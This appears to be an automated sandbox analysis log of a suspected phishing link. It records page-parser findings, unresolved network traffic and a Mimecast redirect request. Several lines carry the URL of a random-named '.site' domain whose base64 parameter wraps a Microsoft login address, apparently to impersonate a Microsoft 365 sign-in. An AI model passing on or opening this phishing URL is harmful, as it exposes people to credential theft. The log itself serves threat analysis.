Sk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No favicon
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No favicon
Source: https://outlook.office365.com/owa/prefetch.aspx	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0	HTTP Parser: No favicon

Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net HTTP/1.1 Host: url.us.m.mimecastprotect.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/fcFRggr_7D48VHm_j6RctLxcw8sPa_TElsPFMjzQm_LCshc9gVJTbgRfVTGuno526DZ05VCsTFwbG4Ajv-sHoGtFagMQ0NHiZWe8J3PikeRm_6zX7liVrGai0VkGk-I2AwLpzD2-3er8vgiklGXM7z5q58pqzvmyHKBQBYn-g0zVdAHC3RRWZ9OaAPpEffxsohlLkdMmotklWxcZtEGZ_hYFOfqSp50FslOwPvoAd6YS5WVToHLoo-Fmi2IFtmcyZ6TZFtN18-8SBdCJgChAROnmxcEqQ3Riv-4UvDfDFfiZsUVJtcVle3a_ezS1BtmNnKZoNC4gle_81P0bmBB4LTmi6peOPq-uSjOliD6M6U9nhpeOQcVAGy_UT9jXkMa8rfoR-xH9w9Gw1WmN6ZszerOhll6pL5QLwP7s2bcHG9U0hqwdLbPRL7v1IIt5ZjNjzy6S2So7v0j7yCkwFh2GAeXktumgaXTjtqnp7ksdBnbUO48ZFwBm64Z05wMvVe-PyZml78SYOLoyP3D-MD4FP_MY6qaQib_sQMflCGO8BeFnUFM4fq1D_TWWiMTiedDv0mYvEABkmKU5kOBxufIgqqqeqDdshkCX8mlcgnnu-Ikd6YJ5PJ5kToV9_4FVkThroztcy6r8q8jU-4apmPhzInEqGvSYhRxvUW9S-6xy-G-NuBbX-bS1jigT0zjutyM3KeP18btWHbj_mElLuuqK8T8B7Ll4UgPakHQ88vk9la9ygWLH4uziPi7xwLQGpzf-vUc0KNwemviUwlT07AsJeZ1kGWBfLuFJCrm-5TLybHiQFyMiyVzayOwxcdZNbsiiWqCV3j8BJlMmvbqqFdKsVXN0c21p2NwnYl_BahhkMhZh8HTJ5eCzt8jb_NVBhXRKaHn5nS_8PXIAovVpcJtbpspKS1O8YkaD9Qf6D0LokgAphe4i0T8EyT6dhdv4rfXKlZUAN4g-wHM8ljgVkCk3uh5Lq_gVFqQ68AHM_8xrXxbhal7MUFNblcroQsoLFbZO0dwXQpnAHv4JoS2dSnstgpxzB7SuP-azrArEoH9i_j8QEoVixYwhCfoFJtppw8aEi50a3L_HBQo6ooAON90-qlz0ca64UfVr1wJiwy9DpdEyWyXNhsW8DrZus31nJnML8el4OBWk1NRx2J5hNDjpA9YePENJO8Ry1ChOuXan05j11LuLFgR5ihqz3bUcZJoMKeKcRLYt3gpsHmW7oPHm1fSGgxdbgOJE3EirnK3WhiJj_jYQG7V8qMhC-eJYBY66PSNsnpudlXPGAA-nijKUAwvRLJ43QcW9Po-azB0wYCri0BKeeZmVuqEPJfXFIbK7BUn4ztJxgXi_x3tzqDcHg7Hs3TzixGwzYHrEeA59eGiizIOu_bcC-NqbGDo7l9nbAReMqYyaHUidmsZdrsgrLGkvXrvFKxlyXRkpLKUm6V4NHUxAEucA4ktbP85aoPHpo92g2F9Q